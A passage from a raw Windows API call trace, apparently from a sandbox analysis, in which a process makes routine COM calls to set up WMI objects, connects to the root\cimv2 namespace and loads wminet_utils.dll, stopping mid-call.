[0189.416] WbemDefPath:IUnknown:Release (This=0x573fd00) returned 0x0 [0189.416] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.417] SetEvent (hEvent=0x288) returned 1 [0189.417] GetLastError () returned 0x0 [0189.419] CoGetClassObject (in: rclsid=0x5f423c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7444a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x589f00c | out: ppv=0x589f00c*=0x573fd00) returned 0x0 [0189.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd00, riid=0x74537ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x589ee3c | out: ppvObject=0x589ee3c*=0x0) returned 0x80004002 [0189.419] WbemDefPath:IClassFactory:CreateInstance (in: This=0x573fd00, pUnkOuter=0x0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ee74 | out: ppvObject=0x589ee74*=0x573fda8) returned 0x0 [0189.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ec18 | out: ppvObject=0x589ec18*=0x573fda8) returned 0x0 [0189.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x589ebd4 | out: ppvObject=0x589ebd4*=0x0) returned 0x80004002 [0189.420] WbemDefPath:IUnknown:AddRef (This=0x573fda8) returned 0x3 [0189.420] CoGetContextToken (in: pToken=0x589ea60 | out: pToken=0x589ea60) returned 0x0 [0189.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ea48 | out: ppvObject=0x589ea48*=0x5c9028) returned 0x0 [0189.420] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c9028, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x589ea50 | out: pCid=0x589ea50*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.420] WbemDefPath:IUnknown:Release (This=0x5c9028) returned 0x3 [0189.420] CoGetContextToken (in: pToken=0x589ea58 | out: pToken=0x589ea58) returned 0x0 [0189.420] WbemDefPath:IUnknown:AddRef (This=0x573fda8) returned 0x4 [0189.420] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fda8, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589eacc | out: ppvObject=0x589eacc*=0x0) returned 0x80004002 [0189.420] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x3 [0189.420] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x2 [0189.420] WbemDefPath:IUnknown:Release (This=0x573fd00) returned 0x0 [0189.421] WbemDefPath:IUnknown:Release (This=0x573fda8) returned 0x1 [0189.421] SetEvent (hEvent=0x2c4) returned 1 [0189.421] GetLastError () returned 0x36b7 [0189.449] CoGetClassObject (in: rclsid=0x5f423c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7444a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x589f00c | out: ppv=0x589f00c*=0x5740fa0) returned 0x0 [0189.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x5740fa0, riid=0x74537ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x589ee3c | out: ppvObject=0x589ee3c*=0x0) returned 0x80004002 [0189.449] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5740fa0, pUnkOuter=0x0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ee74 | out: ppvObject=0x589ee74*=0x573daa8) returned 0x0 [0189.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ec18 | out: ppvObject=0x589ec18*=0x573daa8) returned 0x0 [0189.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x589ebd4 | out: ppvObject=0x589ebd4*=0x0) returned 0x80004002 [0189.450] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.450] CoGetContextToken (in: pToken=0x589ea60 | out: pToken=0x589ea60) returned 0x0 [0189.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ea48 | out: ppvObject=0x589ea48*=0x5c91e8) returned 0x0 [0189.450] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c91e8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x589ea50 | out: pCid=0x589ea50*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.450] WbemDefPath:IUnknown:Release (This=0x5c91e8) returned 0x3 [0189.450] CoGetContextToken (in: pToken=0x589ea58 | out: pToken=0x589ea58) returned 0x0 [0189.450] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x4 [0189.450] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589eacc | out: ppvObject=0x589eacc*=0x0) returned 0x80004002 [0189.450] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0189.450] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.450] WbemDefPath:IUnknown:Release (This=0x5740fa0) returned 0x0 [0189.450] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x1 [0189.451] SetEvent (hEvent=0x2c8) returned 1 [0189.451] GetLastError () returned 0x36b7 [0189.734] CoGetClassObject (in: rclsid=0x5f423c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7444a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x589f00c | out: ppv=0x589f00c*=0x573dc98) returned 0x0 [0189.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dc98, riid=0x74537ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x589ee3c | out: ppvObject=0x589ee3c*=0x0) returned 0x80004002 [0189.735] WbemDefPath:IClassFactory:CreateInstance (in: This=0x573dc98, pUnkOuter=0x0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ee74 | out: ppvObject=0x589ee74*=0x573dca8) returned 0x0 [0189.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dca8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ec18 | out: ppvObject=0x589ec18*=0x573dca8) returned 0x0 [0189.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dca8, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x589ebd4 | out: ppvObject=0x589ebd4*=0x0) returned 0x80004002 [0189.735] WbemDefPath:IUnknown:AddRef (This=0x573dca8) returned 0x3 [0189.735] CoGetContextToken (in: pToken=0x589ea60 | out: pToken=0x589ea60) returned 0x0 [0189.735] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dca8, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ea48 | out: ppvObject=0x589ea48*=0x5c9268) returned 0x0 [0189.735] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c9268, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x589ea50 | out: pCid=0x589ea50*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.735] WbemDefPath:IUnknown:Release (This=0x5c9268) returned 0x3 [0189.735] CoGetContextToken (in: pToken=0x589ea58 | out: pToken=0x589ea58) returned 0x0 [0189.736] WbemDefPath:IUnknown:AddRef (This=0x573dca8) returned 0x4 [0189.736] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dca8, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589eacc | out: ppvObject=0x589eacc*=0x0) returned 0x80004002 [0189.736] WbemDefPath:IUnknown:Release (This=0x573dca8) returned 0x3 [0189.736] WbemDefPath:IUnknown:Release (This=0x573dca8) returned 0x2 [0189.736] WbemDefPath:IUnknown:Release (This=0x573dc98) returned 0x0 [0189.736] WbemDefPath:IUnknown:Release (This=0x573dca8) returned 0x1 [0189.736] SetEvent (hEvent=0x310) returned 1 [0189.736] GetLastError () returned 0x36b7 [0191.073] CoGetClassObject (in: rclsid=0x5f423c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7444a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x589f00c | out: ppv=0x589f00c*=0x573dc98) returned 0x0 [0191.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dc98, riid=0x74537ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x589ee3c | out: ppvObject=0x589ee3c*=0x0) returned 0x80004002 [0191.074] WbemDefPath:IClassFactory:CreateInstance (in: This=0x573dc98, pUnkOuter=0x0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ee74 | out: ppvObject=0x589ee74*=0x573e1b0) returned 0x0 [0191.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x573e1b0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ec18 | out: ppvObject=0x589ec18*=0x573e1b0) returned 0x0 [0191.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x573e1b0, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x589ebd4 | out: ppvObject=0x589ebd4*=0x0) returned 0x80004002 [0191.074] WbemDefPath:IUnknown:AddRef (This=0x573e1b0) returned 0x3 [0191.074] CoGetContextToken (in: pToken=0x589ea60 | out: pToken=0x589ea60) returned 0x0 [0191.074] WbemDefPath:IUnknown:QueryInterface (in: This=0x573e1b0, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ea48 | out: ppvObject=0x589ea48*=0x600350) returned 0x0 [0191.075] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x600350, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x589ea50 | out: pCid=0x589ea50*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.075] WbemDefPath:IUnknown:Release (This=0x600350) returned 0x3 [0191.075] CoGetContextToken (in: pToken=0x589ea58 | out: pToken=0x589ea58) returned 0x0 [0191.075] WbemDefPath:IUnknown:AddRef (This=0x573e1b0) returned 0x4 [0191.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x573e1b0, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589eacc | out: ppvObject=0x589eacc*=0x0) returned 0x80004002 [0191.075] WbemDefPath:IUnknown:Release (This=0x573e1b0) returned 0x3 [0191.075] WbemDefPath:IUnknown:Release (This=0x573e1b0) returned 0x2 [0191.075] WbemDefPath:IUnknown:Release (This=0x573dc98) returned 0x0 [0191.075] WbemDefPath:IUnknown:Release (This=0x573e1b0) returned 0x1 [0191.075] SetEvent (hEvent=0x318) returned 1 [0191.075] GetLastError () returned 0x36b7 Thread: id = 208 os_tid = 0x744 [0189.456] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0189.459] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x568f1e0 | out: lpiid=0x568f1e0) returned 0x0 [0189.460] CoGetClassObject (in: rclsid=0x5f44bc*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7444a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x568f148 | out: ppv=0x568f148*=0x573dc40) returned 0x0 [0189.460] WbemLocator:IUnknown:QueryInterface (in: This=0x573dc40, riid=0x74537ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x568ef78 | out: ppvObject=0x568ef78*=0x0) returned 0x80004002 [0189.460] WbemLocator:IClassFactory:CreateInstance (in: This=0x573dc40, pUnkOuter=0x0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568efb0 | out: ppvObject=0x568efb0*=0x5740fd8) returned 0x0 [0189.460] WbemLocator:IUnknown:QueryInterface (in: This=0x5740fd8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568ed54 | out: ppvObject=0x568ed54*=0x5740fd8) returned 0x0 [0189.460] WbemLocator:IUnknown:QueryInterface (in: This=0x5740fd8, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x568ed10 | out: ppvObject=0x568ed10*=0x0) returned 0x80004002 [0189.460] WbemLocator:IUnknown:AddRef (This=0x5740fd8) returned 0x3 [0189.461] CoGetContextToken (in: pToken=0x568eb9c | out: pToken=0x568eb9c) returned 0x0 [0189.461] WbemLocator:IUnknown:QueryInterface (in: This=0x5740fd8, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568eb84 | out: ppvObject=0x568eb84*=0x0) returned 0x80004002 [0189.461] CoGetContextToken (in: pToken=0x568eb94 | out: pToken=0x568eb94) returned 0x0 [0189.461] WbemLocator:IUnknown:AddRef (This=0x5740fd8) returned 0x4 [0189.461] WbemLocator:IUnknown:QueryInterface (in: This=0x5740fd8, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x568ec08 | out: ppvObject=0x568ec08*=0x0) returned 0x80004002 [0189.461] WbemLocator:IUnknown:Release (This=0x5740fd8) returned 0x3 [0189.461] WbemLocator:IUnknown:Release (This=0x5740fd8) returned 0x2 [0189.461] WbemLocator:IUnknown:Release (This=0x573dc40) returned 0x0 [0189.462] WbemLocator:IUnknown:Release (This=0x5740fd8) returned 0x1 [0189.462] CoGetContextToken (in: pToken=0x568f0a0 | out: pToken=0x568f0a0) returned 0x0 [0189.463] CoGetContextToken (in: pToken=0x568f060 | out: pToken=0x568f060) returned 0x0 [0189.463] WbemLocator:IUnknown:AddRef (This=0x5740fd8) returned 0x2 [0189.463] WbemLocator:IUnknown:QueryInterface (in: This=0x5740fd8, riid=0x568f0dc*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x568f0d8 | out: ppvObject=0x568f0d8*=0x5740fd8) returned 0x0 [0189.464] WbemLocator:IUnknown:Release (This=0x5740fd8) returned 0x2 [0189.464] WbemLocator:IUnknown:Release (This=0x5740fd8) returned 0x1 [0189.468] CoGetContextToken (in: pToken=0x568f11c | out: pToken=0x568f11c) returned 0x0 [0189.469] CoGetContextToken (in: pToken=0x568f0dc | out: pToken=0x568f0dc) returned 0x0 [0189.469] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x2 [0189.469] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x568f158*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x568f154 | out: ppvObject=0x568f154*=0x573daa8) returned 0x0 [0189.469] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.469] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.469] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573daa8, puCount=0x568f2d0 | out: puCount=0x568f2d0*=0x2) returned 0x0 [0189.469] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.469] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=8, puBuffLength=0x568f2cc*=0x0, pszText=0x0 | out: puBuffLength=0x568f2cc*=0xf, pszText=0x0) returned 0x0 [0189.470] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=8, puBuffLength=0x568f2cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x568f2cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0189.475] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x568e478, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0189.475] GetLastError () returned 0x0 [0189.477] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000 [0189.486] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944 [0189.490] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986 [0189.493] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc [0189.496] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e [0189.500] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70 [0189.503] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89 [0189.506] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0189.508] GetProcAddress (hModule=0x6a310000, lpProcName="VerifyClientKey") returned 0x6a312270 [0189.511] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73 [0189.514] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96 [0189.517] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a [0189.519] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5 [0189.522] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8 [0189.526] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4 [0189.529] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7 [0189.532] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16 [0189.534] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26 [0189.537] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0189.537] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c [0189.540] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52 [0189.543] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68 [0189.546] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e [0189.549] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94 [0189.551] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa [0189.554] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd [0189.557] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9 [0189.560] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5 [0189.563] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08 [0189.565] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b [0189.568] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37 [0189.573] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47 [0189.576] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d [0189.578] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86 [0189.581] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2 [0189.584] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb [0189.589] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce [0189.591] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4 [0189.594] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7 [0189.597] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13 [0189.600] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73 [0189.602] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd [0189.605] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580 [0189.608] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6 [0189.612] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e [0189.615] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717 [0189.618] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790 [0189.621] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810 [0189.625] GetProcAddress (hModule=0x6a310000, lpProcName="CloneEnumWbemClassObject") returned 0x6a311890 [0189.628] GetProcAddress (hModule=0x6a310000, lpProcName="ConnectServerWmi") returned 0x6a3124b7 [0189.631] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, 